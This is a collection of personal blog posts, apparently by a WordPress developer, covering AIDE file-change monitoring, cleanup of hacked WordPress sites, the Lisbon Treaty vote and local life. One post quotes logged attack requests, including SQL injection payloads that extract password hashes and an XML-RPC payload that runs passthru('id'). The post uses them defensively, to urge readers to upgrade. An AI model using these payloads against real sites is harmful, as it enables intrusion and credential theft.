Catch website file changes with AIDE

A week ago I suggested installing AIDE to track changes on your server in case it had been hacked. I think AIDE Is so useful that it deserves a post of it’s own. Here’s a short guide to get it working properly.

The AIDE .deb package includes configuration files for over 80 different software packages or log files. That’s great if you have all that software installed or want to keep a paranoid eye on /var but what if you only care about the directory where your website lives?

When I first installed AIDE (using apt-get install aide), it said I needed to run /usr/sbin/aideinit after installation. Every morning I’d get an email from AIDE with a list of changed files from all over my server, including mail logs, Apache logs, and more. I didn’t need all that so I removed the files from /etc/aide.conf.d/ except my WordPress config file:

/home/web/ Checksums
!/home/web/logs/.*
!/home/web/public_html/wp-content/cache/.*
!/home/web/.*/htdocs/wp-content/cache/.*

Unfortunately after I removed the configuration files the daily AIDE email was flooded with open_dir() errors:

Output is 40577 lines, truncated to 1000.
open_dir():Not a directory: /home/donncha/.bashrc
open_dir():Not a directory: /home/donncha/.bash_profile
open_dir():Not a directory: /home/donncha/.viminfo
open_dir():Not a directory: /home/donncha/.bash_history

AIDE was rendered useless by all the errors. Thankfully it was easy to fix. Run aideinit again and it regenerates the AIDE database.

# /usr/sbin/aideinit
Overwrite existing /var/lib/aide/aide.db.new [Yn]? y
Running aide –init…

AIDE, version 0.13.1

### AIDE database at /var/lib/aide/aide.db.new initialized.

Overwrite /var/lib/aide/aide.db [yN]? y

For good measure, I ran /etc/cron.daily/aide again which sent me the “Daily AIDE report”, and yes, it reported that my .htaccess file had been changed. Nice.

If your site is on a shared hosting account then you’re out of luck, but if you have a dedicated host, or virtual private server (VPS) then please consider using AIDE to keep track of changed files. It will send you a short email every day listing changed, added or deleted files. It may save you a lot of hassle and embarrassment if your site is hacked.

Edit: By default, the nightly cron script doesn’t update the AIDE database leading to the same files changes reported every day. Edit /etc/default/aide and make sure COPYNEWDB is set to “yes”. That will update the database.

The Lisbon Treaty: Too long; didn't read

My vote has been cast. I voted no to the Lisbon Treaty half an hour ago in Blarney. Why? It wasn’t to be aligned with Sinn Fein or the Socialist Party who I’d never vote for. It wasn’t because I wanted to piss off Brian Cowen and the main parties. It was partly because I didn’t know who to believe.

Both sides of the Treaty made wild claims. There were the usual dire warnings that Ireland would suffer badly if we rejected the Treaty, there was the extreme claims of the No side. Abortion, the death penalty, armies marching to their deaths. Who’s half truths and exaggerations do you want to believe? What are their biases?
The first “debate” I heard about the Treaty was over a month ago. A TD and a representative from Libertas were on Today FM to fight for their corners. Boy did they fight! Within minutes there was a slagging match with mud and names flying. Accusations were made, and I didn’t learn a thing about this important treaty.

I was almost convinced to vote yes a few days ago. All the resources of the Government couldn’t convince me but The Spoofer’s Guide to the Treaty, written by Jason O’Mahony, a PD candidate, almost did. Even that was too long however, and I only read the first few pages before I had to leave the computer and attend to the baby. Like most people, I simply don’t have time to read and digest everything about the Treaty. Top that off with the with half truths and exaggerations I mentioned above and it became even more difficult.

I know it’s my own fault for not reading the 400 odd pages of the Treaty and being ignorant, but I won’t sign my name to a contract I haven’t read. The Spoofer’s Guide is probably the equivalent of the Readers Digest version of the Treaty but even that was too long. I blame life for getting in the way. tl; dr (thanks Matt!)

I wonder will the Irish Government rerun the referendum if the Irish Population vote no?

Some links I read, and some I commented on:

Images from Biffsniff.com. Lolmartin created by Frank based on an idea by Walter.

Did your WordPress site get hacked?

Remember a few weeks ago there was all that noise about WordPress blogs getting hacked? Remember how everyone was urged to upgrade their blogs. You did upgrade didn’t you? No? It was inevitable that you’d be hacked. If you haven’t been hacked yet, it’s only a matter of time.

Unfortunately for some who did upgrade, it was too late. The hacker slimeballs may have known about the security issues before we did and went about their merry way breaking into blogs and websites, grabbing usernames and passwords, and planting backdoor scripts to log them in again at a later date.
That’s how even diligently upgraded blogs were hacked. The bad guys got there before you.

In the last week the hackers have started again. There is no zero day WordPress exploit. There is no evidence that version 2.5.1 of WordPress is vulnerable to any exploit at this time. They’re using the old exploits all over again. This time they’re redirecting hits from Google to your blog. Those hits are instead being redirected to your-needs.info and anyresult.net

If you’ve been hacked

  1. Upgrade to the latest version of WordPress.
  2. Make sure there are no backdoors or malicious code left on your system. This will be in the form of scripts left by the hacker, or modifications to existing files. Check your theme files too.
  3. Change your passwords after upgrading and make sure the hacker didn’t create another user.
  4. Edit your wp-config.php and change or create the SECRET_KEY definition. It should look like this, but do not use the same key or it won’t be very secret, will it?

    define(‘SECRET_KEY’, ‘1234567890’ );

Hidden Code

The bad guys are using a number of ways to hide their hacks:

  • The simplest way is hiding their code in your php scripts. If your blog directory and files are writable by the webserver then a hacker has free reign to plant their code anywhere they like. wp-blog-header.php seems to be one place. Theme files are another. When you upgrade WordPress your theme files won’t be overwritten so make sure you double check those files for any strange code that uses the eval() command, or base64_decode(). Here’s a code snippet taken from here:

    < ?php

    Another hack adds different code to your php files. Look for k1b0rg or keymachine.de in your php scripts and remove that offending code if you find it.

  • Check your .htaccess file in the root of you blog. If you’ve never edited it, it’ll should look like this:

    # BEGIN WordPress
    <ifmodule mod_rewrite.c>
    RewriteEngine On
    RewriteBase /
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule . /index.php [L]
    </ifmodule>
    # END WordPress

    That file may have this chunk of code too which is to do with the uploader:

    <ifmodule mod_security.c>
    <files async-upload.php>
    SecFilterEngine Off
    SecFilterScanPOST Off
    </files>
    </ifmodule>

  • They’re also uploading PHP code disguised as jpeg files to your upload directory and adding those files to the activated plugins list. This makes it harder to find them, but not impossible:
    1. Open PHPMyAdmin and go to your blog’s options table and find the active_plugins record.
    2. Edit that record. It’s a long line. Scroll through it and you’ll find an entry that looks like ../uploads/2008/05/04/jhjyahjhnjnva.jpg. Remove that text, and make sure you remove the serialized array information for that array record. If that’s beyond you, just delete the active_plugins record and reactivate all your plugins again.
    3. Check your uploads directory for that jpg file and delete it.
    4. This Youtube video shows how to do that. I don’t think there’s any urgent need to remove the rss_* database record but it won’t hurt to do it.

Change Your Passwords

Once you’ve upgraded and verified that your install is clean again you must do the following:

  1. Change the passwords of all users on your system.
  2. Make sure the hacker hasn’t added another user account he can use to login again.

Stop the bad guys

One way of stopping the bad guys before they’ve done any major damage is by doing regular backups and installing an intrusion detection system (IDS).

  • I use Backuppc to backup all my servers every night, and a simple MySQL backup script to dump the database daily.
  • The first IDS that springs to mind is Tripwire but there are many others. I just installed AIDE to track changes on this server. What it does is give me a daily report on files that have changed in that period. If a hacker has changed a script or uploaded malicious code I’ll get an email within a day about it. It does take some fine tuning, but it’s easy to install on Debian systems (and presumably as easy on Ubuntu and Red Hat, and even Gentoo..):

    # apt-get install aide
    # vi /etc/aide/aide.conf.d/88_aide_web
    # /usr/sbin/aideinit

    In the configuration file above I put the following:

    /home/web/ Checksums
    !/home/www/logs/.*
    !/home/web/public_html/wp-content/cache/.*
    !/home/web/.*/htdocs/wp-content/cache/.*

    That will tell AIDE to track changes to my web server folders, but ignore the logs folder and cache folders.

Please Upgrade

There is absolutely no reason not to upgrade. WordPress is famous for it’s 5 minute install, but it takes time and effort to maintain it. If you don’t want the hassle of upgrading, or don’t know how to maintain it, why not get a hosted WordPress account at WordPress.com? Does the $10 you make from advertising every month really justify the time it takes to make sure your site, your writing, your photos and other media are safe? This isn’t an advert for WordPress.com, go with any blogging system you like, but don’t make life easy for the scum out there who’ll take over your out of date software and use it to their advantage.

Help a friend

Check the source code of the blogs you read. The version number in the header will quickly tell you if their version of WordPress is out of date or not. Please leave a comment encouraging them to upgrade! The version number looks like this:

<meta name=”generator” content=”WordPress 2.5.1″ /> <!– leave this for stats –>

What does a hack look like?

I perform logging on one of my test blogs and I come across all sorts of malicious attempts to break in. Attackers use dumb bots to do their bidding so a website will be hit with all sorts of attacks, even for software that’s not installed. The bots are so dumb they’ll even come back again and again performing the same attacks.

Here’s what I call the “ekibastos attack”. It happens over a number of requests and I’ve seen it come from 87.118.100.81 on a regular basis. It uses a user agent called, “Mozilla/4.0 (k1b compatible; rss 6.0; Windows Sot 5.1 Security Kol)” which strangely enough doesn’t show up on Google at all right now.

  1. First the attacker visits your Dashboard, and then without even checking if that was successful, he tries to access wp-admin/post.php several times using HEAD requests.
  2. Then he POSTs to wp-admin/admin-ajax.php with the following POST body:

    POST: Array
    (
    [cookie] => wordpressuser_c73ce9557defbe87cea780be67f9ae1f=xyz%27; wordpresspass_c73ce9557defbe87cea780be67f9ae1f=132;
    )

  3. When that fails, he grabs xmlrpc.php.
  4. He then POSTs to that script, exploiting an old and long fixed bug. Here’s a snippet of the data.

    HTTP_RAW_POST_DATA: <?xml version=”1.0″?>

    <methodCall>

    <methodName>system.multicall</methodName>

    <params>

    <param><value><array><data>

    <value><struct>

    <member><name>methodName</name><value><string>pingback.extensions.getPingbacks</string></value></member>

    <member><name>params</name><value><array><data>

    <value><string>http://ocaoimh.ie/category/&post_type=%27) UNION ALL SELECT 10048,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4 FROM wp_users WHERE ID=1%2F*</string></value>

    </data></array></value></member></blockquote>

  5. That fails too so the query is repeated with similar SQL.

    <value><string>http://ocaoimh.ie/category/&post_type=%27) UNION ALL SELECT 10000%2Bord(substring(user_pass,1,1)),2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4 FROM wp_users WHERE ID=1%2F*</string></value>

  6. Then he tries a trackback:

    URL: /wp-trackback.php?tb_id=1
    POST: Array
    (
    [title] => 1
    [url] => 1
    [blog_name] => 1
    [tb_id] => 666666\’
    [1740009377] => 1
    [496546471] => 1
    )

  7. And another trackback:

    URL: /wp-trackback.php?p=1
    POST: Array
    (
    [url] => ekibastos
    [title] => ekibastos
    [excerpt] => ekibastos
    [blog_name] => +AFw-\’)/*
    [charset] => UTF-7
    )

  8. Before finally going back to xmlrpc.php with this POST request:

    <?xml version=”1.0″?>
    <methodCall>
    <methodName>pingback.ping</methodName>
    <params>
    <param><value><string>k1b0rg’ icq: 76-86-20</string></value></param>
    <param><value><string>http://ocaoimh.ie/?p=k1b0rg#ls</string></value></param>
    <param><value><string>admin</string></value></param>
    </params>
    </methodCall>

  9. In between, he also tries the following GET requests:

    GET /index.php?cat=%2527+UNION+SELECT+CONCAT(666,CHAR(58),user_pass,CHAR(58),666,CHAR(58))+FROM+wp_users+where+id=1/* HTTP/1.1
    GET /index.php?cat=999+UNION+SELECT+null,CONCAT(666,CHAR(58),user_pass,CHAR(58),666,CHAR(58)),null,null,null+FROM+wp_users+where+id=1/* HTTP/1.1

  10. Thankfully I upgraded and all those attacks fail.

Those requests have been hitting me for months now with the latest happening 2 days ago. If that doesn’t convince you that you must upgrade and check your website, I don’t know what will.

PS. For completeness, here’s another common XMLRPC attack I see all the time. Ironically, this actually hit my server from 189.3.105.2 after I published this post.

<?xml version="1.0"?>

<methodCall>

<methodName>test.method

</methodName>

<params>

<param>

<value><name>','')); echo

'______BEGIN______';

passthru('id');

echo

'_____FIM_____';

exit;/*</name></value>

</param>

</params>

</methodCall>

Edit: Tripwire url fixed, thanks Callum

PS. If your site has been hacked, try the WordPress Exploit Scanner which will try to find any modified files and suspicious database records.

My fragmented personality

I realised I haven’t updated in a week, yet I have. I’m Donncha on the following social webs:

  1. WordPress.com – Yay, the best blogging site, of course.
  2. Twitter.com – everyone’s on there, and so am I.
  3. Jaiku.com – oh so exclusive membership. Love the threaded comments.
  4. Friendfeed – everything gathered here.
  5. Plurk – the new boy. Looks a bit wacky. I think I like it, except the smilies.

Italian Ice cream in Blarney

The first ice cream store in Blarney opened it’s doors for the several weeks ago with a special offer of free ice cream all day but I didn’t stop by there until today.

The store is Il Gelato and it’s around the corner from the main square in Blarney. If you’re in the area, you owe yourself the chance to try out their delicious produce. They offer a range of flavours from the usual vanilla, to chocolate, mint, strawberry and a few other unusual ones. I bought a large tub of chocolate and strawberry. Disappointingly, I thought the tub was quite small and too expensive until I tasted it. It must be the richest and creamiest ice cream I’ve ever tasted! We were after dinner in the Blarney Castle Hotel but I had room for dessert yet I could barely finish the tub!

We all enjoyed our ice cream, and even Adam got a taste of it, despite my earlier protestations that he wouldn’t taste ice cream until he was much older! I’m glad his first taste of ice cream was a good one.

A large tub is €4.80 which seems expensive, but it’s worth it. Delicious!

Fifty years with WordPress

Ah yes, them were the days when we had to type blog posts on quaint old keyboards. Can you imagine it? You actually had to write everything letter by letter. Today’s thought entry systems are so much more convenient don’t you think?

That there Matt fella is still the youngster he always was. He may not be quite as fast on his feet but that embedded camera in his skull sure takes some snazzy photos. My camera gives me a headache, especially when the lens doesn’t focus fast enough. Great to see that mind blog integration stuff working out for him though. I can’t believe blogging has come so far in such a short time.

Oh wait! Fifty? It’s only been five. Where have the years gone? Matt noticed that I officially joined the WordPress team 5 years ago today! At the time I was working on the predecessor to WordPress MU, b2++ that was running on Linux.ie Blogs. It was a sometimes hard slog. MU was always on the sidelines of the WordPress community and somehow it escaped the attention of the vast majority of people online. I noticed many surprised voices when people found out what was running on WordPress.com!

Two years later and Matt starts Automattic and I come on board to work on WordPress.com and I’ve never looked back. The GPL licensed WordPress and WordPress MU go from strength to strength.

As a final note on this rambling post, if you enjoy using WordPress, head over to gnu.org and read their philosophy page to find out what influences Matt and Alex and everyone else who contribute to GPLed software projects.

WordPress Stickers and Badges

WordPress Stickers and Badges

This was a nice surprise. While enjoying a lovely meal in the Castle Hotel in Blarney a courier rang me with a package. I wasn’t expecting anything but luckily he was close by and I met him in front of the local Garda station. Brimming with excitement I ripped open the package sending stickers and badges flying everywhere. Some landed in my burger, a few badges in my wife’s quiche and the baby grabbed a sticker or two before they fell on the ground.

No, I’m joking, but I did get a jiffy bag with a nice portrait of (most of) Automattic in Arizona and quite a few badges and stickers.

Before you ask, I’m not sending anyone any. I’ve already promised stickers to one person who’s been waiting a few months, and John probably thinks he’ll get his badges and stickers this year but I wouldn’t hold my breath if I was him. Sorry!
On the other hand, if I meet you on the street, I may have a supply of badges and stickers in my camera bag so don’t be afraid to ask. I will of course have badges and stickers to give out at the Doneraile photowalk next month. If you’re around the area, feel free to join us exploring and photographing Doneraile Park!